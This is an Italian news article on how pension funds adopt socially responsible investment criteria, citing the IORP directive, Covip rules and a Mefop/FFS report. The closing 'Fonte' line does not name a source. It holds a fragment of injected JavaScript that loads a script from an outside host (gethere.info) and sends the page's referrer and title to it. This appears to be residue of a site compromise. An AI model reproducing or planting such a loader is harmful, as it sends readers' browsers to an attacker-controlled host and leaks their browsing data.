di Carlo Giuro
Il rapporto tra previdenza complementare e investimento socialmente responsabile si apre a nuovi sviluppi. Dal punto di vista normativo va ricordato infatti come la Direttiva Iorp (Institutions for Occupational Retirement Provision), appena approvata anche dal Parlamento europeo, preveda che i fondi pensione europei saranno tenuti a fare disclosure sulle modalità in cui i temi socio-ambientali sono integrati nella gestione finanziaria e nell’analisi dei rischi di investimento. Nell’ultima stesura del testo, è presente infatti un esplicito riferimento ai criteri Sri (dall’inglese Sustainable and Responsible Investment).
In particolare, si dichiara importante che gli investitori previdenziali prendano in considerazione gli aspetti ambientali, sociali e di governance nella fase di definizione della politica di investimento e nell’attività di risk management. Nella normativa previdenziale italiana le forme pensionistiche complementari «sono tenute ad esporre nel rendiconto annuale e, sinteticamente, nelle comunicazioni periodiche agli iscritti se e in quale misura nella gestione delle risorse e nelle linee seguite nell’esercizio dei diritti derivanti dalla titolarità dei valori in portafoglio si siano presi in considerazione aspetti sociali, etici ed ambientali». Il tema è contenuto anche nello Schema di Nota informativa redatto dalla Covip nel 2006 (nella Sezione Informazioni sull’andamento della gestione) ed è stato preso in considerazione anche dalla Deliberazione Covip del 16 marzo 2012 sul Documento sulla politica di investimento che deve esplicitare gli aspetti etici, sociali e ambientali cui si intende dedicare attenzione nella gestione delle risorse. Ma, dal punto di vista concreto, come si stanno muovendo i fondi pensione italiani? Molto interessanti in questa prospettiva le evidenze riportate nella seconda edizione dello specifico Rapporto elaborato da Mefop e Forum per la Finanza Sostenibile (Ffs). Sembra profilarsi una contenuta ma incoraggiante crescita nell’adozione di politiche di investimento sostenibile e responsabile da parte degli operatori previdenziali italiani. Dall’analisi comparativa con l’edizione 2015 emergono infatti alcuni dati promettenti, come l’aumento del tasso di risposta (72% nel 2016 contro il 60% del 2015), l’incremento dei piani attivi in materia di Sri (+33%) e il generale miglioramento nei punteggi totalizzati in tutte le categorie monitorate (enti di previdenza, fondi pensione negoziali, fondi pensione aperti, piani individuali pensionistici, fondi pensione preesistenti). Vi sono però sensibili margini di miglioramento Anzitutto, l’adozione di strategie Sri non viene sempre estesa all’insieme del patrimonio né a tutte le classi di attivo. Inoltre, si conferma la tendenza di alcuni soggetti che integrano i criteri etici a non valorizzare adeguatamente le proprie scelte nelle politiche di comunicazione. Resta dunque attuale l’auspicio di un maggior investimento in iniziative di informazione e sensibilizzazione rivolte agli aderenti, considerato il crescente interesse verso le tematiche della sostenibilità da parte dell’opinione pubblica, connesso anche ai danni reputazionali recentemente subìti dal settore finanziario. E’ necessario però superare i principali ostacoli al suo sviluppo tra cui i modelli di governance (cda con conoscenze ancora limitate in materia di sostenibilità, orizzonte temporale di breve periodo) e il pregiudizio diffuso che associa agli investimenti sostenibili rendimenti inferiori. Un recente studio condotto su oltre 2 mila ricerche accademiche, prosegue il Rapporto, ha evidenziato una relazione positiva tra l’attenzione ai criteri Sri e le performance aziendali, dimostrando che le imprese più sostenibili e, di conseguenza, i loro investitori ottengono risultati finanziari stabili e duraturi nel tempo.
Inoltre, una ricerca del Morgan Stanley Institute for Sustainable Investing, a partire dall’analisi di oltre 10 mila fondi pensione aperti e circa 2.900 gestioni separate statunitensi, ha attestato che gli investimenti sostenibili raggiungono, e spesso superano, le performance degli investimenti non Sri, sia in termini assoluti sia ponderate per il rischio. (riproduzione riservata)
Fonte: s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;